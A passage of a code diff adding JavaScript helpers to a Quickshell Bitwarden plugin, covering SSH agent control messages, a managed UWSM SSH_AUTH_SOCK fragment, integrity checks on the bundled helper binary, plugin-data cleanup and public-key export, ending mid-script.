+// feature does not defend against -- the process concerned is the plugin's own +// binary -- and every line it does terminate is bounded here. +function parseAgentEvent(line) { + var text = (line === undefined || line === null) ? "" : String(line) + if (text.charAt(text.length - 1) === "\n") text = text.slice(0, text.length - 1) + if (text.charAt(text.length - 1) === "\r") text = text.slice(0, text.length - 1) + if (text === "") return { ok: false, code: "EMPTY", fatal: false } + if (utf8ByteLength(text) > SSH_AGENT_MAX_LINE_BYTES) { + return { ok: false, code: "LINE_TOO_LONG", fatal: true } + } + var parsed + try { + parsed = JSON.parse(text) + } catch (e) { + return { ok: false, code: "MALFORMED", fatal: true } + } + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) { + return { ok: false, code: "MALFORMED", fatal: true } + } + if (parsed.v !== SSH_AGENT_CONTROL_VERSION) { + return { ok: false, code: "VERSION_MISMATCH", fatal: true } + } + if (typeof parsed.type !== "string" || SSH_AGENT_EVENT_TYPES.indexOf(parsed.type) < 0) { + return { ok: false, code: "UNKNOWN_TYPE", fatal: true } + } + if (parsed.type === "ready") { + if (typeof parsed.socketPath !== "string" || parsed.socketPath === "" + || typeof parsed.fifoPath !== "string" || parsed.fifoPath === "" + || typeof parsed.agentVersion !== "string" || parsed.agentVersion === "") { + return { ok: false, code: "MALFORMED", fatal: true } + } + } + return { ok: true, message: parsed } +} + +// 500ms doubling to a 30s ceiling. The first retry is quick because the +// overwhelmingly likely cause is a helper that was replaced under a running +// shell; the ceiling is what stops a permanently broken build from spinning. +function sshAgentRestartDelayMs(failures) { + var n = Math.floor(Number(failures)) + if (!isFinite(n) || n < 1) return SSH_AGENT_BACKOFF_BASE_MS + var delay = SSH_AGENT_BACKOFF_BASE_MS * Math.pow(2, n - 1) + return Math.min(SSH_AGENT_BACKOFF_MAX_MS, delay) +} + +// ------------------------------------------------------------------------- +// Client routing: the managed UWSM fragment and SSH_AUTH_SOCK diagnostics +// ------------------------------------------------------------------------- +// +// Nothing in this section decides whether the companion runs. The companion +// binds a deterministic path and never reads SSH_AUTH_SOCK; that variable is +// how *clients* -- ssh, git, ssh-add, ssh-keygen -Y sign, and everything that +// spawns them -- find an agent. So routing is a separate, advisory concern, +// and the panel's view of it is a hint rather than a verdict: it sees the +// graphical session's environment, while a ~/.bashrc export, a systemd --user +// unit, a TTY login, or an incoming SSH session can each differ and are all +// invisible from here. + +function sshAgentSocketPath(runtimeDir) { + if (typeof runtimeDir !== "string" || runtimeDir.charAt(0) !== "/") return "" + return runtimeDir + "/" + RUNTIME_SUBDIR + "/ssh-agent.sock" +} + +function sshAgentFifoPath(runtimeDir) { + if (typeof runtimeDir !== "string" || runtimeDir.charAt(0) !== "/") return "" + return runtimeDir + "/" + RUNTIME_SUBDIR + "/ssh-keys.fifo" +} + +// The per-load nonce. It is what stops another same-UID process writing its +// own key set into an open FIFO window: it cannot guess a value it cannot +// read. The panel delivers it to the companion over the private stdin pipe +// and to `jq` through the environment -- never argv, because +// /proc//cmdline is world-readable while /proc//environ is not. +var LOAD_ID_ENV = "QSBW_LOAD_ID" +var LOAD_ID_RE = /^[0-9a-f]{32}$/ + +function loadIdEnvVar() { return LOAD_ID_ENV } + +function isValidLoadId(value) { + return typeof value === "string" && LOAD_ID_RE.test(value) +} + +// 128 bits from the kernel CSPRNG. Math.random() is not a source for a value +// whose whole job is being unguessable by a process running as this user. +function loadIdCommand() { + var script = "LC_ALL=C od -An -tx1 -N16 /dev/urandom 2>/dev/null | tr -d ' \n'" + return ["bash", "-c", script] +} + +function sshAgentLoadBeginLine(epoch, loadId) { + if (!isValidLoadId(loadId)) return "" + return JSON.stringify({ v: SSH_AGENT_CONTROL_VERSION, type: "key_load_begin", + epoch: Math.floor(Number(epoch)) || 0, loadId: loadId }) + "\n" +} + +function sshAgentLoadEndLine(epoch, ok) { + return JSON.stringify({ v: SSH_AGENT_CONTROL_VERSION, type: "key_load_end", + epoch: Math.floor(Number(epoch)) || 0, status: ok ? "ok" : "failed" }) + "\n" +} + +function sshAgentVaultLockedLine(epoch) { + return JSON.stringify({ v: SSH_AGENT_CONTROL_VERSION, type: "vault_locked", + epoch: Math.floor(Number(epoch)) || 0 }) + "\n" +} + +function sshAgentLoggedOutLine() { + return JSON.stringify({ v: SSH_AGENT_CONTROL_VERSION, type: "vault_logged_out" }) + "\n" +} + +// Omarchy runs the graphical session through UWSM, which reads env.d +// fragments at login. Exactly one file is plugin-owned, and it is identified +// by its full contents rather than by its name, so nothing the user wrote is +// ever replaced or deleted on the strength of a filename match. +var UWSM_FRAGMENT_REL = ".config/uwsm/env.d/50-qs-bitwarden-ssh-agent" + +function uwsmFragmentDisplayPath() { + return "~/" + UWSM_FRAGMENT_REL +} + +// ${XDG_RUNTIME_DIR} is left for the shell that sources this at login, not +// expanded now: the runtime directory belongs to the session that will read +// it, and baking today's path into a login fragment would survive into +// sessions where it is wrong. +function uwsmFragmentContent() { + return "# Managed by the qs-bitwarden-cli Quickshell plugin.\n" + + "# Routes SSH clients to the Bitwarden agent. Delete this file to stop.\n" + + "export SSH_AUTH_SOCK=\"${XDG_RUNTIME_DIR}/" + RUNTIME_SUBDIR + "/ssh-agent.sock\"\n" +} + +// Exit codes shared by the write and remove scripts. They are the whole +// vocabulary between the shell and parseUwsmActionResult(), so each one means +// exactly one thing and none of them overlap with a shell's own. +var UWSM_EXIT_NO_HOME = 3 +var UWSM_EXIT_PARENT = 4 +var UWSM_EXIT_SYMLINK = 5 +var UWSM_EXIT_FOREIGN = 6 +var UWSM_EXIT_WRITE = 7 + +// The comparison both scripts make. `$(cat)` strips trailing newlines, so the +// expected value is stripped the same way rather than the file being rewritten +// to match a comparison artefact. +function uwsmExpectedShell() { + var expected = uwsmFragmentContent().replace(/\n+$/, "") + return "__want=" + shellQuote(expected) + "; " + + "__frag=\"$HOME/" + UWSM_FRAGMENT_REL + "\"; " +} + +function uwsmForeignShell() { + return "[ ! -f \"$__frag\" ] || [ \"$(cat \"$__frag\" 2>/dev/null)\" != \"$__want\" ]" +} + +function uwsmInspectCommand() { + var script = "test -n \"${HOME:-}\" || { echo no-home; exit 0; }; " + + uwsmExpectedShell() + // -L first, and lstat throughout: a symlink here must be reported as one + // rather than resolved into whatever it points at. + + "if [ -L \"$__frag\" ]; then echo symlink; exit 0; fi; " + + "if [ ! -e \"$__frag\" ]; then echo absent; exit 0; fi; " + + "if [ ! -f \"$__frag\" ]; then echo foreign; exit 0; fi; " + + "if [ ! -r \"$__frag\" ]; then echo unreadable; exit 0; fi; " + + "if [ \"$(cat \"$__frag\")\" = \"$__want\" ]; then echo managed; else echo foreign; fi" + return ["bash", "-c", cappedScript(script, MAX_STDERR_BYTES)] +} + +function uwsmWriteCommand() { + var script = "test -n \"${HOME:-}\" || exit " + UWSM_EXIT_NO_HOME + "; " + + uwsmExpectedShell() + + "__dir=\"$(dirname \"$__frag\")\"; " + // -m applies only to directories this actually creates, so an existing + // ~/.config keeps whatever mode the user gave it. + + "mkdir -p -m 700 \"$__dir\" || exit " + UWSM_EXIT_PARENT + "; " + + "if [ -L \"$__frag\" ]; then exit " + UWSM_EXIT_SYMLINK + "; fi; " + // Anything already there that is not byte-for-byte ours is somebody + // else's file. Rewriting our own content is allowed and is a no-op. + + "if [ -e \"$__frag\" ]; then " + + " if " + uwsmForeignShell() + "; then exit " + UWSM_EXIT_FOREIGN + "; fi; " + + "fi; " + // Same directory, so the rename is atomic: a reader at login time sees + // either the old file or the complete new one, never a half-written + // fragment that would break the session's environment. + + "__tmp=\"$(mktemp \"$__dir/.50-qs-bitwarden-ssh-agent.XXXXXX\")\" || exit " + UWSM_EXIT_WRITE + "; " + + "{ printf '%s\\n' \"$__want\" > \"$__tmp\" && chmod 644 \"$__tmp\" && mv -f \"$__tmp\" \"$__frag\"; } " + + "|| { rm -f \"$__tmp\"; exit " + UWSM_EXIT_WRITE + "; }; " + + "echo written" + return ["bash", "-c", cappedScript(script, MAX_STDERR_BYTES)] +} + +// Everything this plugin leaves outside its own folder, removed in one pass. +// +// It exists because removal cannot do it. `omarchy plugin remove` has no +// uninstall hook -- it disables the plugin and deletes the directory -- so the +// last moment any of this code can run is while the plugin is still +// installed. What is not cleared here has to be cleared by hand afterwards, +// from instructions, which is how it was until now. +// +// Deliberately not included: the vault. `bw logout` is the user's own call and +// removing a panel is no reason to make it. Nor the shell.json entry, which +// belongs to the shell and is rewritten by `omarchy bar` rather than by us. +function pluginDataRemoveCommand() { + var script = "test -n \"${HOME:-}\" || exit " + PLUGIN_DATA_EXIT_NO_HOME + "; " + + "__state=\"${XDG_STATE_HOME:-$HOME/.local/state}/qs-bitwarden-cli\"; " + + "__data=\"${XDG_DATA_HOME:-$HOME/.local/share}/qs-bitwarden-cli\"; " + // Each step reports rather than aborting the rest: a keyring that is + // already empty, or a directory already gone, must not stop the others. + + "__done=''; " + + "if secret-tool clear service qs-bitwarden-cli 2>/dev/null; then __done=\"$__done keyring\"; fi; " + + "if [ -e \"$__state\" ]; then rm -rf -- \"$__state\" && __done=\"$__done state\"; fi; " + + "if [ -e \"$__data\" ]; then rm -rf -- \"$__data\" && __done=\"$__done data\"; fi; " + + "printf 'removed%s\\n' \"$__done\"" + return ["bash", "-c", cappedScript(script, MAX_STDERR_BYTES)] +} + +var PLUGIN_DATA_EXIT_NO_HOME = 3 + +function parsePluginDataRemoval(exitCode, stdout) { + var code = Math.floor(Number(exitCode)) + if (code === PLUGIN_DATA_EXIT_NO_HOME) { + return { ok: false, message: "No HOME is set, so there is nothing to clear." } + } + if (code !== 0) { + return { ok: false, message: "Could not remove the plugin's stored data." } + } + var line = String(stdout === undefined || stdout === null ? "" : stdout).trim() + var cleared = [] + if (line.indexOf("keyring") >= 0) cleared.push("keyring entries") + if (line.indexOf("state") >= 0) cleared.push("learned suggestions") + if (line.indexOf("data") >= 0) cleared.push("exported public keys") + if (cleared.length === 0) { + return { ok: true, message: "Nothing was left to remove." } + } + return { ok: true, + message: "Removed " + cleared.join(", ") + + ". Your vault is untouched; run `bw logout` separately if you want that too." } +} + +function uwsmRemoveCommand() { + var script = "test -n \"${HOME:-}\" || exit " + UWSM_EXIT_NO_HOME + "; " + + uwsmExpectedShell() + + "if [ -L \"$__frag\" ]; then exit " + UWSM_EXIT_SYMLINK + "; fi; " + + "if [ ! -e \"$__frag\" ]; then echo absent; exit 0; fi; " + + "if " + uwsmForeignShell() + "; then exit " + UWSM_EXIT_FOREIGN + "; fi; " + + "rm -f \"$__frag\" || exit " + UWSM_EXIT_WRITE + "; " + + "echo removed" + return ["bash", "-c", cappedScript(script, MAX_STDERR_BYTES)] +} + +var UWSM_LOGIN_NOTE = "UWSM applies this at your next graphical login, so log out and log back in. " + + "Restarting the shell is not enough: it cannot change the environment of programs that are already running." + +function parseExitCodeResult(exitCode, stdout, parseSuccess, failureMap, defaultFailureMessage) { + var code = Math.floor(Number(exitCode)) + var out = String(stdout === undefined || stdout === null ? "" : stdout).trim() + if (code === 0) { + var success = parseSuccess(out) + if (success) return success + } + if (failureMap && failureMap[code] !== undefined) { + return { ok: false, code: failureMap[code].code, message: failureMap[code].message } + } + return { ok: false, code: "FAILED", message: defaultFailureMessage || "" } +} + +function parseUwsmInspection(raw) { + var verdict = String(raw === undefined || raw === null ? "" : raw).trim() + switch (verdict) { + case "managed": + return { state: "managed", removable: true, + message: "Routing is set up. " + uwsmFragmentDisplayPath() + " is the file this plugin wrote, " + + "and turning the agent off removes it." } + case "absent": + return { state: "absent", removable: false, + message: "No routing file. SSH clients will keep using whatever agent your session already has." } + case "symlink": + return { state: "symlink", removable: false, + message: uwsmFragmentDisplayPath() + " is a symlink, so this plugin will not write to it or " + + "remove it. Replace it with a regular file yourself if you want it managed here." } + case "unreadable": + return { state: "unreadable", removable: false, + message: uwsmFragmentDisplayPath() + " exists but cannot be read, so it is left alone." } + case "no-home": + return { state: "no-home", removable: false, + message: "No HOME is set, so there is nowhere to put a routing file." } + default: + return { state: "foreign", removable: false, + message: uwsmFragmentDisplayPath() + " already exists and is not the file this plugin writes, " + + "so it is left untouched. Remove or edit it yourself to change routing." } + } +} + +// The status block's one line about routing, decided by the file rather than +// by this session's SSH_AUTH_SOCK. +// +// The variable was fixed at login, so it says what routing *was*; the file +// says what routing *will be*. Reading the variable hides a missing fragment +// for the whole life of a session that started routed -- the warning then +// arrives at the next boot, which is the one moment it can no longer help. +function sshAgentRoutingNotice(fragment, routing) { + var fragmentState = fragment && fragment.state ? String(fragment.state) : "unknown" + var routingState = routing && routing.state ? String(routing.state) : "unknown" + // States the plugin refuses to act on say their piece in the routing + // section itself, in full. Repeating a summary here would be noise. + if (fragmentState === "unknown" || fragmentState === "no-home") { + return { text: "", urgent: false } + } + if (fragmentState !== "managed") { + return { text: "SSH clients are not routed here, and will not be at your next login.", + urgent: true } + } + if (routingState !== "matches") { + return { text: "Routing is written. It takes effect at your next login.", urgent: false } + } + return { text: "", urgent: false } +} + +function parseUwsmActionResult(exitCode, stdout) { + var failures = {} + failures[UWSM_EXIT_NO_HOME] = { code: "NO_HOME", + message: "No HOME is set, so there is nowhere to put a routing file." } + failures[UWSM_EXIT_PARENT] = { code: "PARENT", + message: "Could not create " + uwsmFragmentDisplayPath() + "'s parent directory." } + failures[UWSM_EXIT_SYMLINK] = { code: "SYMLINK", + message: uwsmFragmentDisplayPath() + " is a symlink. This plugin will not write through it " + + "or delete it; sort that path out yourself first." } + failures[UWSM_EXIT_FOREIGN] = { code: "FOREIGN", + message: uwsmFragmentDisplayPath() + " already exists and is not this plugin's file, so it was " + + "left untouched. Remove or edit it yourself to change routing." } + + return parseExitCodeResult(exitCode, stdout, function(out) { + if (out === "written") { + return { ok: true, code: "WRITTEN", + message: "Routing file written to " + uwsmFragmentDisplayPath() + ". " + UWSM_LOGIN_NOTE } + } + if (out === "removed" || out === "absent") { + return { ok: true, code: out === "removed" ? "REMOVED" : "ABSENT", + message: out === "removed" + ? "Routing file removed. Programs already running keep the old value until you log out and back in." + : "There was no routing file to remove." } + } + return null + }, failures, "Could not update " + uwsmFragmentDisplayPath() + ".") +} + +// Which agent the graphical session is actually pointed at. Matched most +// specific first, because this plugin's own socket also contains "bitwarden" +// and would otherwise be attributed to Bitwarden Desktop. +var SSH_AUTH_SOCK_OWNERS = [ + { re: /\/gcr\/|\/keyring\//i, name: "GNOME Keyring" }, + { re: /1password/i, name: "1Password" }, + { re: /gpg-agent/i, name: "GPG Agent" }, + { re: /bitwarden/i, name: "Bitwarden Desktop" }, + { re: /^\/tmp\/ssh-[^/]+\/agent\./, name: "OpenSSH ssh-agent" } +] + +function sshAuthSockTerminalCheck() { + return "echo \"$SSH_AUTH_SOCK\"; ssh-add -L" +} + +// Three outcomes, and a fourth for "there is nothing to compare against". +// None of them gate anything: the wording stays descriptive on purpose, so a +// diagnostic can never read as a prerequisite the user has to satisfy. +function sshAuthSockDiagnostic(sock, runtimeDir) { + var value = (sock === undefined || sock === null) ? "" : String(sock) + var ours = sshAgentSocketPath(runtimeDir) + var check = sshAuthSockTerminalCheck() + if (!ours) { + return { state: "unknown", owner: "", terminalCheck: check, + message: "Without a runtime directory there is no socket path to compare against." } + } + if (value === "") { + return { state: "unset", owner: "", terminalCheck: check, + message: "This session has no SSH_AUTH_SOCK, so SSH clients started from it have no agent yet." } + } + if (value === ours) { + return { state: "matches", owner: "", terminalCheck: check, + message: "This session points at the Bitwarden agent. Terminals you opened earlier may not; check with:" } + } + var owner = "" + for (var i = 0; i < SSH_AUTH_SOCK_OWNERS.length; i++) { + if (SSH_AUTH_SOCK_OWNERS[i].re.test(value)) { owner = SSH_AUTH_SOCK_OWNERS[i].name; break } + } + return { state: "elsewhere", owner: owner, terminalCheck: check, + message: "This session points at " + (owner ? owner : "another agent") + + " instead of the Bitwarden agent. Changing that is your choice; check any terminal with:" } +} + +// ------------------------------------------------------------------------- +// The bundled helper +// ------------------------------------------------------------------------- +// +// The plugin ships a compiled helper rather than downloading one, so the +// panel checks it before trusting it: that it is there, executable, the right +// architecture, matches its recorded checksum, passes its own self-test, and +// speaks this panel's protocol version. +// +// What the checksum is and is not. `bin/SHA256SUMS` sits beside the binary and +// beside the QML that reads it, so anyone who can replace one can replace all +// three. This is not tamper detection, and presenting it as such would be a +// lie. What it does catch is what actually goes wrong: a partial clone, a Git +// LFS placeholder, a truncated file, and -- most often -- a stale binary left +// behind by a `git pull` that updated the source. Provenance is a separate +// mechanism with a different root of trust; see the release documentation. +var SSH_AGENT_BUNDLED_RELATIVE = "bin/x86_64-linux/qs-bitwarden-ssh-agent" +var SSH_AGENT_SUMS_RELATIVE = "bin/SHA256SUMS" +// Cargo's ordinary debug output. Preferring the shipped artifact but falling +// back to this keeps a developer's `cargo build` meaningful without a release +// round-trip, and the settings screen says which one is in use so the two are +// never confused. +var SSH_AGENT_DEVELOPMENT_RELATIVE = "agent/target/debug/qs-bitwarden-ssh-agent" + +function sshAgentBundledRelative() { return SSH_AGENT_BUNDLED_RELATIVE } +function sshAgentDevelopmentRelative() { return SSH_AGENT_DEVELOPMENT_RELATIVE } + +// In preference order. The shipped artifact first, because that is what a +// user installed and what CI verified; the local build second, because a +// developer who just compiled one means to run it. +function sshAgentHelperCandidates(pluginDir) { + var base = sshAgentHelperPath(pluginDir) === "" ? "" : pluginDir + if (base === "") return [] + var root = base + while (root.length > 1 && root.charAt(root.length - 1) === "/") root = root.slice(0, root.length - 1) + return [ + { source: "bundled", path: root + "/" + SSH_AGENT_BUNDLED_RELATIVE }, + { source: "development", path: root + "/" + SSH_AGENT_DEVELOPMENT_RELATIVE } + ] +} + +// What the banner says when a local build is serving SSH keys. It has to +// carry why that is worth knowing, not just that it is true: the shipped +// binary is the one with a recorded digest and a CI provenance attestation +// behind it, and a development build has neither. When the shipped one was +// rejected rather than absent, say which -- "yours is broken" and "you built +// one" are different situations. The remedy is the same either way and is +// named in the words a user has: reinstall the plugin. Rebuilding from source +// is a maintainer's answer, and this banner is not only read by maintainers. +function sshAgentDevelopmentHelperWarning(helper) { + var checksum = helper && helper.checksum ? helper.checksum : "unchecked" + var why = checksum === "mismatch" + ? "The shipped helper failed its checksum, so a locally built one is serving your SSH keys." + : "A locally built helper is serving your SSH keys, not the shipped one." + return why + " It carries no recorded digest and no build provenance. " + + "Reinstall the plugin to restore the shipped helper before trusting a signature from it." +} + +function sshAgentHelperSourceLabel(source) { + if (source === "bundled") return "the helper shipped with this plugin" + if (source === "development") return "a locally built development helper, not the shipped artifact" + return "" +} + +// One pass over both candidates, in the shell, reporting the first that is +// usable. Written as one script rather than several commands because the +// panel must not sequence six probes through six Process round-trips before +// it can decide whether a feature is available. +// +// Emits `key=value` lines, which the parser below reads. Nothing from the +// helper's own output is interpolated into a message. +function sshAgentHelperInspectCommand(pluginDir) { + var candidates = sshAgentHelperCandidates(pluginDir) + if (candidates.length === 0) return ["bash", "-c", "echo state=missing"] + var root = candidates[0].path.slice(0, candidates[0].path.length - SSH_AGENT_BUNDLED_RELATIVE.length - 1) + + var script = "__root=" + shellQuote(root) + "; " + + "__report() { printf '%s\\n' \"$@\"; exit 0; }; " + + "__found=''; " + // The shipped artifact first; a development build only if it is absent or + // unusable, so a broken release never strands a working local build. + + "for __pair in " + shellQuote("bundled:" + SSH_AGENT_BUNDLED_RELATIVE) + + " " + shellQuote("development:" + SSH_AGENT_DEVELOPMENT_RELATIVE) + "; do " + + " __source=\"${__pair%%:*}\"; __rel=\"${__pair#*:}\"; __bin=\"$__root/$__rel\"; " + + " [ -e \"$__bin\" ] || continue; " + + " __found=\"$__source\"; " + + " [ -f \"$__bin\" ] || { __state=not-a-file; continue; }; " + + " [ -x \"$__bin\" ] || { __state=not-executable; continue; }; " + // ELF magic, before anything tries to run it. A Git LFS placeholder and a + // truncated download both fail here rather than as a confusing exec error. + + " __magic=\"$(head -c 4 -- \"$__bin\" 2>/dev/null | od -An -tx1 | tr -d ' \\n')\"; " + + " [ \"$__magic\" = \"7f454c46\" ] || { __state=not-elf; continue; }; " + + " __arch=\"$(od -An -tx1 -j 18 -N 1 -- \"$__bin\" 2>/dev/null | tr -d ' \\n')\"; " + + " [ \"$__arch\" = \"3e\" ] || { __state=wrong-architecture; continue; }; " + // The checksum applies to the shipped artifact only. A local build has no + // recorded digest and claiming one would be meaningless. + + " __checksum=unchecked; " + + " if [ \"$__source\" = bundled ] && [ -f \"$__root/" + SSH_AGENT_SUMS_RELATIVE + "\" ]; then " + + " if ( cd \"$__root/bin\" && sha256sum -c --status " + shellQuote(baseName(SSH_AGENT_SUMS_RELATIVE)) + " ) 2>/dev/null; then " + + " __checksum=match; " + + " else __checksum=mismatch; __state=checksum-mismatch; continue; fi; " + + " fi; " + // Its own account of itself, bounded: a helper that hangs must not hang + // the panel's startup decision. + + " __version=\"$(timeout 5 \"$__bin\" --version 2>/dev/null | head -c 200)\"; " + + " case \"$__version\" in *'qs-bitwarden-ssh-agent '*) ;; *) __state=no-version; continue;; esac; " + + " __semver=\"$(printf '%s' \"$__version\" | sed -n 's/.*qs-bitwarden-ssh-agent \\([0-9.]*\\).*/\\1/p')\"; " + + " __proto=\"$(printf '%s' \"$__version\" | sed -n 's/.*protocol \\([0-9]*\\).*/\\1/p')\"; " + + " if timeout 20 \"$__bin\" --self-test >/dev/null 2>&1; then __self=pass; " + + " else __self=fail; __state=self-test-failed; continue; fi; " + + " __report state=ok \"source=$__source\" \"version=$__semver\" \"protocol=$__proto\" " + + "\"checksum=$__checksum\" \"selfTest=$__self\"; " + + "done; " + + "if [ -z \"$__found\" ]; then __report state=missing; fi; " + // Carry the checksum verdict into the failure report too. Without it a + // mismatch arrives as "unchecked", which reads as "we did not look" + // rather than "we looked and it was wrong". + + "__report \"state=${__state:-unusable}\" \"source=$__found\" " + + "\"checksum=${__checksum:-unchecked}\" \"selfTest=${__self:-}\"" + return ["bash", "-c", cappedScript(script, MAX_STDERR_BYTES)] +} + +var SSH_AGENT_HELPER_MESSAGES = { + "missing": "No SSH agent helper was found. A release ships one; a source checkout needs " + + "`cargo build --manifest-path agent/Cargo.toml --locked`.", + "not-a-file": "The SSH agent helper path is not a file.", + "not-executable": "The SSH agent helper is not executable. A clone from an archive can drop " + + "file modes; `chmod +x` on it is enough.", + "not-elf": "The SSH agent helper is not a program. A partial clone, or Git LFS leaving a " + + "placeholder, both look like this.", + "wrong-architecture": "The SSH agent helper was built for a different architecture. This " + + "release ships x86_64 only.", + "checksum-mismatch": "The SSH agent helper does not match its recorded checksum. That usually " + + "means a stale binary after an update, or an incomplete clone.", + "no-version": "The SSH agent helper did not report a usable version.", + "self-test-failed": "The SSH agent helper failed its own self-test on this machine.", + "protocol-mismatch": "The SSH agent helper speaks a different control protocol than this " + + "version of the plugin. Reinstall the plugin so both come from the same release.", + "unusable": "The SSH agent helper could not be used." +} + +function parseSshAgentHelperInspection(raw) { + var fields = { state: "missing", source: "", version: "", protocol: 0, + checksum: "unchecked", selfTest: "" } + var lines = String(raw === undefined || raw === null ? "" : raw).split("\n") + for (var i = 0; i < lines.length; i++) { + var cut = lines[i].indexOf("=") + if (cut <= 0) continue + var key = lines[i].slice(0, cut) + var value = lines[i].slice(cut + 1) + if (key === "protocol") fields.protocol = Math.floor(Number(value)) || 0 + else if (fields[key] !== undefined) fields[key] = value + } + // The protocol version is the panel's own compatibility check rather than + // something the shell script judges: the panel knows what it speaks. + if (fields.state === "ok" && fields.protocol !== SSH_AGENT_CONTROL_VERSION) { + fields.state = "protocol-mismatch" + } + fields.message = fields.state === "ok" ? "" : (SSH_AGENT_HELPER_MESSAGES[fields.state] + || SSH_AGENT_HELPER_MESSAGES.unusable) + return fields +} + +// Whether the supervisor may start at all. Every failure here disables this +// optional feature and nothing else -- no socket, no FIFO, no agent branch in +// the vault read. +function sshAgentHelperReady(inspection) { + return Boolean(inspection) && inspection.state === "ok" +} + +// ------------------------------------------------------------------------- +// Public-key file projection +// ------------------------------------------------------------------------- +// +// Git SSH signing needs paths, not inline keys: `user.signingkey` takes a +// file, and `gpg.ssh.allowedSignersFile` has no inline form at all. So the +// panel writes the companion's validated public identities to disk. +// +// Public keys are not secret, so this does not cross the private boundary -- +// but the files are still written 0600 inside a 0700 directory, because a +// projection of your vault's contents is nobody else's business either. +// Private material is never written here under any circumstance. +// +// Not into ~/.ssh: that directory belongs to the user and to OpenSSH, and a +// plugin that rewrites a set of files in it would eventually delete something +// it did not create. +var SSH_EXPORT_SUBDIR = "qs-bitwarden-cli/ssh" + +function sshExportDisplayDir() { + return "~/.local/share/" + SSH_EXPORT_SUBDIR +} + +// An item name is decrypted vault content about to become a path, and the +// collection it came from may be writable by somebody else. It goes through +// the same sanitizer the attachment path uses, then gets ".pub" appended -- +// after sanitizing, so nothing in the name can consume the extension. +// +// `taken` accumulates the names already used by this projection. Two items may +// legitimately share a name; neither may overwrite the other, so the loser +// gains its item ID rather than the file being clobbered. +function sshExportFileName(name, itemId, taken) { + var used = taken || {} + var base = safeAttachmentFileName(name) + if (base === "attachment") base = "ssh-key" + var candidate = base + ".pub" + if (used[candidate] !== undefined && used[candidate] !== itemId) { + var suffix = safeAttachmentFileName(String(itemId || "")).slice(0, 64) + candidate = base + "." + (suffix || "key") + ".pub" + } + used[candidate] = itemId + return candidate +} + +// The OpenSSH one-line public form, and nothing that is not one. The +// companion derives these from keys it validated, but this is the last gate +// before bytes reach the filesystem and it costs nothing to check the shape. +var SSH_PUBLIC_KEY_RE = /^(ssh-ed25519|ssh-rsa) [A-Za-z0-9+/=]+(\s|$)/ + +function sshExportIdentities(identities) { + if (!identities || !Array.isArray(identities)) return [] + var out = [] + for (var i = 0; i < identities.length; i++) { + var identity = identities[i] || {} + var publicKey = String(identity.publicKey || "").trim() + if (!SSH_PUBLIC_KEY_RE.test(publicKey)) continue + if (publicKey.indexOf("PRIVATE") >= 0) continue + var itemId = String(identity.itemId || "") + if (itemId === "") continue + out.push({ + itemId: itemId, + name: String(identity.name || ""), + fingerprint: String(identity.fingerprint || ""), + publicKey: publicKey + }) + } + return out +} + +// What the export script reads on stdin. Not argv: a hundred keys of RSA +// public material would push at the argument limit, and stdin keeps the +// vault-derived names out of /proc//cmdline as a matter of habit. +function sshExportPayload(identities) { + var taken = {} + var entries = [] + var validated = sshExportIdentities(identities) + for (var i = 0; i < validated.length; i++) { + entries.push({ + fileName: sshExportFileName(validated[i].name, validated[i].itemId, taken), + publicKey: validated[i].publicKey + }) + } + return JSON.stringify(entries) +} + +var SSH_EXPORT_EXIT_NO_HOME = 3 +var SSH_EXPORT_EXIT_UNSAFE_DIR = 5 +var SSH_EXPORT_EXIT_WRITE = 7 + +// The directory the projection lives in, resolved and checked the same way in +// both the export and the clear script. +function sshExportDirPrelude() { + return "__base=\"${XDG_DATA_HOME:-}\"; " + + "if [ -z \"$__base\" ]; then " + + " [ -n \"${HOME:-}\" ] || exit " + SSH_EXPORT_EXIT_NO_HOME + "; " + + " __base=\"$HOME/.local/share\"; " + + "fi; " + + "case \"$__base\" in /*) ;; *) exit " + SSH_EXPORT_EXIT_NO_HOME + ";; esac; " + + "__dir=\"$__base/" + SSH_EXPORT_SUBDIR + "\"; " + + "if [ -L \"$__dir\" ]; then exit " + SSH_EXPORT_EXIT_UNSAFE_DIR + "; fi; " +} + +function sshExportCommand() { + var script = sshExportDirPrelude() + // Safe parent creation, then the directory itself. A symlink at the + // export path was refused by sshExportDirPrelude() rather than followed: + // writing through it would let anything that could plant it choose where + // these land. + + "mkdir -p -m 700 \"$(dirname \"$__dir\")\" || exit " + SSH_EXPORT_EXIT_UNSAFE_DIR + "; " + + "if [ -e \"$__dir\" ]; then " + + " [ -d \"$__dir\" ] || exit " + SSH_EXPORT_EXIT_UNSAFE_DIR + "; " + + "else (umask 077 && mkdir -- \"$__dir\") || exit " + SSH_EXPORT_EXIT_UNSAFE_DIR + "; fi; " + + "chmod 700 -- \"$__dir\" || exit " + SSH_EXPORT_EXIT_UNSAFE_DIR + "; " + // The payload is read once into a variable so a partial stdin cannot + // leave a half-written projection behind. + + "__payload=\"$(cat)\"; " + + "printf '%s' \"$__payload\" | jq -e 'type == \"array\"' >/dev/null 2>&1 || exit " + + SSH_EXPORT_EXIT_WRITE + "; " + // NUL-delimited so a filename can never split a record, whatever the + // sanitizer let through. + // A bash array, not an accumulated string: "$x\n" inside double quotes + // appends a literal backslash-n, which silently made every freshly + // written file look stale and deleted it again. + + "__keep=(); " + + "while IFS= read -r -d '' __file && IFS= read -r -d '' __key; do " + + " case \"$__file\" in */*|..|.|\"\") exit " + SSH_EXPORT_EXIT_WRITE + ";; esac; " + // Each file lands by rename, so a reader never sees a partial key, and an + // existing symlink at the name is replaced rather than written through. + + " __tmp=\"$(mktemp \"$__dir/.export.XXXXXX\")\" || exit " + SSH_EXPORT_EXIT_WRITE + "; " + + " printf '%s\\n' \"$__key\" > \"$__tmp\" || { rm -f -- \"$__tmp\"; exit " + + SSH_EXPORT_EXIT_WRITE + "; }; " + + " chmod 600 -- \"$__tmp\" || { rm -f -- \"$__tmp\"; exit " + SSH_EXPORT_EXIT_WRITE + "; }; " + + " mv -f -- \"$__tmp\" \"$__dir/$__file\" || { rm -f -- \"$__tmp\"; exit " + + SSH_EXPORT_EXIT_WRITE + "; }; " + + " __keep+=(\"$__file\"); " + + "done < <(printf '%s' \"$__payload\" | jq -j '.[] | .fileName, \"\\u0000\", .publicKey, \"\\u0000\"'); " + // Anything left in the directory belonged to a previous epoch. Only files + // this projection creates are removed -- the pattern is ours, so a file a + // user dropped in here by hand is left alone. + + "for __existing in \"$__dir\"/*.pub; do " + + " [ -e \"$__existing\" ] || [ -L \"$__existing\" ] || continue; " + + " __name=\"$(basename -- \"$__existing\")\"; " + + " __found=0; " + + " for __k in ${__keep[@]+\"${__keep[@]}\"}; do " + + " if [ 